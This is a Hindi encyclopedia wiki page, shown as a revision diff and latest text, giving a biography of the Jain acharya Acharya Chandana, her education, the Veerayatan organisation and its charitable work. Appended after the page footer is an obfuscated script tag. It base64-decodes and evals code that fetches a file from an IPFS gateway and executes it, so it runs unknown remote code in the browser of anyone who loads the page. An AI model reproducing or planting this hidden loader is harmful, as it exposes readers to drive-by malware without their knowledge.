आचार्य चंदना: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''आचार्य चंदना''' (अंग्रेज़ी: ''Acharya Chandana'', जन्म- 26 जनवरी,...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
Line 1: Line 1:
[[चित्र:Acharya-Chandana.jpg|thumb|250px|आचार्य चंदना]]
'''आचार्य चंदना''' ([[अंग्रेज़ी]]: ''Acharya Chandana'', जन्म- [[26 जनवरी]], [[1937]], [[महाराष्ट्र]]) [[जैन धर्म]] की आचार्य हैं। 'राजगीर वीरायतन' की संस्थापक आचार्य चंदना महाराज जी को [[भारत सरकार]] ने उनके सामाजिक कार्यों के लिये साल [[2022]] में [[पद्म श्री]] से सम्मानित किया है। आचार्य चंदना अपनी इच्‍छाशक्ति से कई ऐसे कार्य कर चु़की हैं जिनसे [[इतिहास]] के पन्नों में उनका नाम दर्ज हो गया है। वे जैन धर्म जगत में आचार्य पद प्राप्त करने वाली प्रथम साध्वी हैं। दिव्य व्यक्तित्व की स्वामिनी चंदना जी लगभग 50 साल से लोगों की सेवा कर रही हैं।
'''आचार्य चंदना''' ([[अंग्रेज़ी]]: ''Acharya Chandana'', जन्म- [[26 जनवरी]], [[1937]], [[महाराष्ट्र]]) [[जैन धर्म]] की आचार्य हैं। 'राजगीर वीरायतन' की संस्थापक आचार्य चंदना महाराज जी को [[भारत सरकार]] ने उनके सामाजिक कार्यों के लिये साल [[2022]] में [[पद्म श्री]] से सम्मानित किया है। आचार्य चंदना अपनी इच्‍छाशक्ति से कई ऐसे कार्य कर चु़की हैं जिनसे [[इतिहास]] के पन्नों में उनका नाम दर्ज हो गया है। वे जैन धर्म जगत में आचार्य पद प्राप्त करने वाली प्रथम साध्वी हैं। दिव्य व्यक्तित्व की स्वामिनी चंदना जी लगभग 50 साल से लोगों की सेवा कर रही हैं।
==परिचय==
==परिचय==

Latest revision as of 13:02, 3 June 2022

thumb|250px|आचार्य चंदना आचार्य चंदना (अंग्रेज़ी: Acharya Chandana, जन्म- 26 जनवरी, 1937, महाराष्ट्र) जैन धर्म की आचार्य हैं। 'राजगीर वीरायतन' की संस्थापक आचार्य चंदना महाराज जी को भारत सरकार ने उनके सामाजिक कार्यों के लिये साल 2022 में पद्म श्री से सम्मानित किया है। आचार्य चंदना अपनी इच्‍छाशक्ति से कई ऐसे कार्य कर चु़की हैं जिनसे इतिहास के पन्नों में उनका नाम दर्ज हो गया है। वे जैन धर्म जगत में आचार्य पद प्राप्त करने वाली प्रथम साध्वी हैं। दिव्य व्यक्तित्व की स्वामिनी चंदना जी लगभग 50 साल से लोगों की सेवा कर रही हैं।

परिचय

आचार्य चंदना का जन्म 26 जनवरी, 1937 को महाराष्ट्र के चास्कमन गांव में एक कटारिया परिवार में हुआ था। उनकी माता प्रेम कुंवर और पिता मानिकचंद ने इनका नाम शकुंतला रखा था। इन्होंने तीसरी कक्षा तक औपचारिक शिक्षा ग्रहण की। इनके नाना ने उन्हें जैन साध्वी सुमति कुंवर के अधीन दीक्षा लेने के लिए मना लिया। चौदह वर्ष की आयु में ही इन्होंने जैन दीक्षा ली और साध्वी चंदना बन गई। उन्होंने जैन धर्म ग्रंथों, जीवन के अर्थ और उद्देश्य और विभिन्न धर्मों का अध्ययन करने के लिए बारह साल का मौन व्रत किया।[1]

शिक्षा

आचार्य चंदना ने भारतीय विद्या भवन, मुंबई से दर्शनाचार्य की उपाधि प्राप्त की। पराग से साहित्य रत्न और पाथर्डी धार्मिक परीक्षा बोर्ड से मास्टर डिग्री भी ली। बनारस हिंदू विश्वविद्यालय से चंदनाली ने नव्या-न्याय और व्याकरण के विषयों में शास्त्री की उपाधि प्राप्त की।

वीरायतन

सन 1972 में चंदनाजी ने भारत के बिहार राज्य में अपना मानवीय कार्य शुरू किया। जैन धर्म के सिद्धांतों पर आधारित एक धार्मिक संगठन 'वीरायतन' की स्थापना 1974 में चंदनाजी ने बिहार में की थी। यह एक अंतरराष्ट्रीय धर्मार्थ संगठन है जो आध्यात्मिक विकास, गुणवत्तापूर्ण शिक्षा और जाति, पंथ, नस्ल या लिंग के भेदभाव के बिना दूसरों की सेवा करता है।

प्रमुख कार्य

  • 27,65,164 लोगों की निःशुल्क नेत्र चिकित्सा।
  • 3,40,198 नेत्र रोगियों के आंखों का निःशुल्क ऑपरेशन।
  • अनेकों पिछड़े इलाकों में स्कूल कॉलेज की स्थापना।
  • व्यावसायिक प्रशिक्षण केंद्रों के माध्यम से हजारों को स्किल्ड कर स्वरोजगारी बनाना।
  • भूकम्पग्रस्त कच्छ गुजरात में बच्चों के लिए 10 अस्थायी स्कूल।
  • कच्छ में पहले फार्मेसी डिग्री कॉलेज की स्थापना।
  • पर्यावरण जागरुकता के लिए कार्य।
  • अमेरिका में सर्वोदय तीर्थ की स्थापना।
  • देश विदेश में अनेकों आध्यात्मिक केंद्र की स्थापना।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>